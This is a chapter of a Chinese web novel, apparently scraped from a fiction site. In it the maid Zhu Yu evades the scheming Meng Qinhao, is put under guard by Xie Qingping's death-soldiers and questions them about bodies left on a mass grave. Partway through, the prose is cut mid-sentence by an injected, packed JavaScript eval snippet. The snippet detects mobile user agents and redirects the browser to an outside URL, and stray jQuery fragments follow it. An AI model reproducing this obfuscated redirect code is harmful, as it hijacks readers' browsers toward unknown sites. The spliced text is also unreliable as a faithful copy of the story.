荒郊野岭,深更半夜,朱玉并不明白孟秦浩一个贵公子哥是如何出现在这里的。
更奇怪的是,他身边连一个侍卫都没带。
看起来,并不像是来干好事的。
“阿玦姑娘别趴着了,起来吧。”面对她凝固的表情,孟秦浩乐呵呵地将她扶起来,还顺势拍了拍她身上的尘土。
朱玉尬笑两声:“哈哈,谢谢孟少爷,奴婢不打扰您,奴婢先走了。”
孟秦浩笑眯眯地揽住她的肩膀将她固定在原地:“走什么?本公子有马车,载你一程。”
“不用了不用了,怎能麻烦孟少爷……”朱玉赔笑,试图拨开孟秦浩的手。
孟秦浩忽然大喊:“朱府的侍卫——人在这儿——!”
朱玉哎哎两声扒拉他:“谢谢孟少爷大恩大德奴婢愿意乘车。”
孟秦浩好笑地看着她,用手替她把乱掉的发尾拨正:“小侍女,乘我的车可不是免费的。”
心知孟秦浩从来擅长这般威胁人,朱玉不再挣扎:“孟公子有何指示,奴婢悉听尊便。”
夜间郊区寂静,风吹草沙沙声响,偶有寥寥蝉鸣。
孟秦浩沉默片刻,语气低低道:“朱玉。”
莫名其妙又听到自己名字,朱玉心里咯噔一声,但维持着低头的姿势,没有露怯。
见她没有动作,孟秦浩轻笑一声:“我调查过你,一个几天前从渔村到凌琅阁的孤女,竟有胆子自称自己是朱玉的朋友——你猜我把这话说给那二人听之后,谁能信你?”
朱玉知道自己这番谎言总有暴露的时候。
毕竟孟秦浩就是凌琅阁的阁主,他若要调查阿玦的身份,实在轻而易举。
她不自觉攥紧裙摆,等待孟秦浩的攻势。
“可既然朱晏珩和谢清平那二人都在争夺你,那你的可信度,便高了不少。”
朱玉怔了怔,抬起头,孟秦浩眯着一双桃花眼,笑盈盈地看着她,语气温和:“不过,我还是不太相信你,所以,你得告诉我更多朱玉的事情,还有朱晏珩与谢清平二人问了她什么,你也得告诉我。”
这番狮子大开口,几乎等同于让她做按插在朱晏珩与谢清平身边的间谍。
“奴婢……”
“朱府的侍卫马上要找到这里咯。”
“……孟公子难道想看到奴婢回朱府?”
孟秦浩依旧乐呵呵:“你回哪儿去与我何干?只是自由之时还有点利用价值,少威胁我,小侍女。”
若这次回了朱府,朱晏珩不一定会再让她出来,现下还没有弄清谢清平那封密信与她前世死因的关系,决不能停在这里。
朱玉思忖片刻,抬起头:“但传递消息总要有个途径。”
孟秦浩也不拐弯抹角:“只要能到凌琅阁,在我的地盘,你无须担心。”
见他态度爽快,朱玉郑重地点点头:“奴婢知晓。”
“早这么说不就好了,现在走吧,本公子替你拦住他们。”
朱玉跑出去两步,又觉不对,回头问他:“孟公子,说好的马车呢?”
“马车……”孟秦浩思忖片刻,突然朝着不远处的侍卫大声吼道:“来人呐,那阿玦侍女侍女在这儿——!”
侍卫听到声音,立刻调转方向,乌泱泱的人策马奔来。
伴随着无数的脚步声与马蹄声,孟秦浩回头对朱玉笑眯眯道:“喏,马车来咯。”
“你这小人!”
朱玉大惊失色,痛骂一句,立刻提着裙子往反方向奔去。
孟秦浩果然还是这个老样子,出尔反尔只会算计的人死狐狸!
-
一路风风火火跑入世子府,侍卫与小厮似乎得了命令,没有一个人拦她,朱玉得以顺利进了谢清平的院子。
已是子时了,书房还亮着灯,朱玉谨记今早谢泽兰的教训,乖乖敲门。
“进。”谢清平声音有些沙哑。
朱玉推开门,谢清平在书桌前,背脊笔直,镇纸与砚台摆的方方正正,就连握笔的姿势都格外端正。
整个人像从四书五经里走出来的模版一样。
看到他桌上的公文后,朱玉愣在了原地。
她没想到谢清平竟然在批公文。
她与他相恋时,分明记得他没有夜批公文的习惯,他作息十分规律,他甚至会以他的规矩来要求朱玉也早睡早起。
而且谢清平批公文时最憎被人打扰,怎么会允许她进来?
本以为谢清平是在等她,想顺势卖个乖,结果现在进也不是退也不是,尴尬地站在书房门口。
一阵诡异的沉默后,是谢清平先开了口:“去哪儿了?”
朱玉老实回答:“去见朋友了。”
谢清平抬眼看她,眸子很冷:“孟秦浩是你朋友。”
朱玉:“……”
他已经知道孟秦浩见过她了。
朱玉叹了口气:“朱大人的侍卫想要把奴婢带回去朱府,奴婢逃窜的时候偶遇孟公子,他便故意把侍卫引过来,害得奴婢跑得上气不接下去才逃回来。”
说着,她还转了一圈给谢清平展示自己。
裙摆上满是泥土,间或有不少杂草,发髻也早就散掉,松松垮垮搭在背上。
确实狼狈可怜。
谢清平微微眯起眼睛,将信将疑:“他让朱晏珩的人追你,为何?”
她的话依旧真假参半,谢清平知道大概的情况却不知细节,只会慢慢上钩。
朱玉摇摇头:“奴婢不知,大抵是孟公子因为我不与他合作气急败坏吧,亦或者……”说到一半,她止住话头,欲言又止。
谢清平最是吃她这套神秘样子,立刻沉了脸,低低道:“说。”
“或者……是他们二人联合起来,要把奴婢从世子这里带走。”
一句话低低砸出去,把谢清平也听得沉默了。
片刻后,谢清平叹出一口气,捏了捏眉心:“我就知道,他们迟早有一天会联手。”
上钩了。
朱玉一口气还没松多久,便听谢清平语气又恢复严肃:“但你私自出府又晚归,还越过侍卫擅闯我院子,半夜扰我批公文……”
他握着毛笔起身,踱步到了朱玉跟前:“再加上早晨的那一掌,条条都是死罪,更何况还是一齐。”
桩桩件件虽然有谢清平的默许,但也确实都是她自己干的事情。
做得时候勇气十足,真到被清算的时候只听得冷汗直冒,大气都不敢出。
二人的距离又变得很近。
谢清平不爱熏香,却酷爱洗衣,离得近时她总能闻到他身上淡淡的皂角味,干净到让她觉得违和。
她低着头思考要如何回应才能让谢清平消气,他却主动用手中的毛笔替她拨开了头顶上的枯叶,态度暧昧不清。
“上述的罪行,我可以不与你计较,但是有一点——你若再动逃出去的念头,我便让死士无时无刻守着你,你再无半点自由可言。”
死士。
朱玉本心惊胆战,生怕谢清平要降下什么可怕的惩罚,整个人都蔫了下去。
可一听到死士二字,她立刻来了精神,猛然抬起头。
之前阿萍说她去世那日谢清平把几个死士埋在了乱葬岗,她正好可以借着这个机会探查!
谢清平看她忽低抬头,一张小脸煞白,知道自己的威胁起了作用,心中涌起一股莫名的成就感。
他满意地颔首:“害怕的话,就……”
话音未落,朱玉便对谢清平猛地点点头,双眼放光:“奴婢愿意。”
谢清平蹙起眉头:“你愿意什么?”
“奴婢愿意被死士看着!”
谢清平表情骤然沉了下去:“……”
“奴婢……奴婢也不能保证自己会不会动了逃走的念头,既然如此,不如防患于未然,直接让死士们死死受着奴婢,这样奴婢也能安心忠于世子了。”朱玉慷慨陈词。
谢清平表情凝固了好一会儿,看着她笑得眉眼弯弯,双眸盛满喜悦,心中那股成就感逐渐被一种奇怪的情绪替代。
没有人会笑着受罚,也没有人会用这样漂亮的表情求死士守着自己。
谢清平缓缓攥紧双拳。
呵。
一直在挑衅他。
这小侍女大抵又是信了朱玉那一套在他面前不能服输的说辞,故意唱反调想让他松懈,从而不派人看住她。
她觉得那一套会一直管用?
既然如此,那他就让她求仁得仁。
几个死士,世子府不是匀不过去。
“好,那便遂你的愿。”谢清平听到自己太用力吐字时下颌作响,“来人啊,把这侍女关到侧院,派三个死士,严防死守。”
-
转眼,朱玉被关在世子府已有数日。
那日过后,她除了吃饭睡觉就是给谢清平写自己前世的各种小道消息,几乎堪称无所事事。
派来管住她的死士同样和她一样无所事事。
平日里,他们负责看管的要么是会飞檐走壁的危险分子,要么是富可敌国的王侯将相,何时能闲到看管一个手无缚鸡
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17788168|210248||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
之力的侍女。
前几日他们还能无视朱玉的搭话,但无聊久了,他们的态度也逐渐松了下去。
转折发生一个午后,朱玉主动夸赞其中一位死士膀子肉健硕,而后,剩下的两位死士不堪落后,也主动秀出自己的伎俩。
朱玉一边夸赞着他们,一边有意无意透露出自己的求学之心。
死士知道谢清平对她暧昧的态度,也知道她没什么威胁,便大大方方教起了她。
训练最能在不知不觉间拉进人的距离,几日过去,她不仅学了不少基本功夫,也与死士熟络了起来。
这天午后,朱玉训练完马步出拳,众人坐在院子里歇息聊天。
“阿玦是渔村来的?巧了,我老家人就是打渔的。”
“切,一天到晚就只会说,也没见你带点海货特产来孝敬爷爷!”
朱玉见缝插针:“说到特产,我有几壶家乡的酒埋在住处了,之后给各位大哥带过来尝尝。”
“阿玦妹子爽快!”“太客气了大妹子。”
朱玉摆摆手:“哪里哪里,我记得那些酒还是三年前花朝节的时候酿好的,现在挖出来正好好。”
她提到那日子时特意观察三人表情,但他们各个表情轻松,没有太多反应。
朱玉眨眨眼,又道:“不过三位大哥性情直爽,全然不似我想象中那样严肃。”
“都为了生计干活,说啥严肃不严肃呢?”
“我有一个朋友,她酷爱收集骨头,说是在乱葬岗收尸的时候染上了这种……怪癖。”
一个死士摆出嫌弃的表情:“乱葬岗?京师还有这种地方?”
另一个死士啧啧两声:“连我们这些人都有名册,死后世子还会立无名碑,那些被葬在那里的人实在可怜了。”
朱玉听得一愣。
死士不会被葬到乱葬岗?还有名册?
那乱葬岗的七具尸体,若是拥有名册的谢清平亲自下令,绝不该犯下漏掉密印的疏漏。
再加上谢清平一向会为死去的部下收殓立碑,将七人剥去身份、弃于乱葬岗,确实不像他的手笔。
但不像,不代表一定不是。
至少眼下,另一种可能更值得追查——有人杀死了谢清平派去保护凌琅阁的死士,又试图抹去他们与世子府的关系。
……
全然不符合预期的事实摆在面前,朱玉手脚发凉,握紧了面前的茶盏。
有死士发现她不对,唤了她好几声无果,走过来拍了拍她的肩:“大妹子?阿玦大妹子?”
朱玉猛然回过神来,抬头朝他笑了笑:“我没事,我只是……”
话音未落,一道尖锐的女声响在院子门口。
“你真是水性杨花!”
熟悉的台词、熟悉的声音,朱玉没忍住翻了个白眼,才回过头去看她。
谢泽兰哈了一声,换上一张灿烂笑脸,揶揄道:“我果然没说错,你和你那朋友朱玉如出一辙嘛。”
面对莫名其妙的指控,朱玉有些怒意,奈何现下身份卑微,只好压下脾气解释:“奴婢只是与死士大哥们唠家常,担不起水性杨花这一说。”
“唠家常不需勾肩搭背,男女授受不亲的道理你这小侍女不懂?”
“若未经许可擅闯表兄书房算正常,那勾肩搭背也应算正常。”
谢泽兰立刻听出她的内涵,声音大了些:“还轮得到你说教我了?”
朱玉态度恭敬,语气却嘲讽:“奴婢不敢,只是实话实话。”
谢清平缓缓从谢泽兰身后走了出来。
“世子。”她怔了怔,立刻起来行礼。
他眉头紧锁,直勾勾盯着她,二人对视时,他眼神甚至有些闪烁。
院子静谧半晌,谢泽兰料定谢清平从来不会在女人争执时开口,主动攻击道:“表哥都看到你这幅咄咄逼人的样子了,别装清纯。”
眼见谢清平脸色难看,朱玉也默默止住了话头。
说再多也没有意义,毕竟谢泽兰是他的表妹,连自己是朱玉的时候他都没有替她多言几句,更何况现在自己只是个小侍女。
不占优,先认怂。
她默默低下头。
可令她没想到的是,谢清平这一次,没有再当哑巴。
“好一出戏码。”
朱玉心里咯噔一声,抬头看向了他。
谢清平最后扫了她一眼,而后沉着脸,转向了谢泽兰。
“你要我与你赏花,便是故意引我来看这些。”
“……谢泽兰,规矩呢?”